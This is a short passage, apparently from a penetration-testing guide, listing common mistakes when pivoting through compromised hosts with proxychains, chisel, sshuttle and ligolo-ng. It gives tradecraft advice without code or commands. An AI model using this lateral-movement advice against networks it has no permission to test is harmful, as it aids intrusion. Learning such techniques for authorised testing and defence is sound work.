❌ Mistake #4: Using strict_chain in proxychains for multi-hop.
strict_chain fails if any proxy in the chain is down. Use dynamic_chain -- it skips dead proxies and tries the next one. This is more resilient for complex pivoting scenarios.
❌ Mistake #5: Not having the right chisel binaries ready.
You need chisel compiled for the pivot host's architecture. Always have linux-amd64, linux-arm64, and windows-amd64 binaries in your toolkit. Transferring the wrong architecture binary wastes time.
❌ Mistake #6: Overcomplicating the pivot setup.
Start with the simplest tool that works. If you have SSH β†’ use sshuttle (one command). Don't set up ligolo-ng for a single port forward. Match the complexity of your tool to the complexity of the scenario.

πŸ“š Further Reading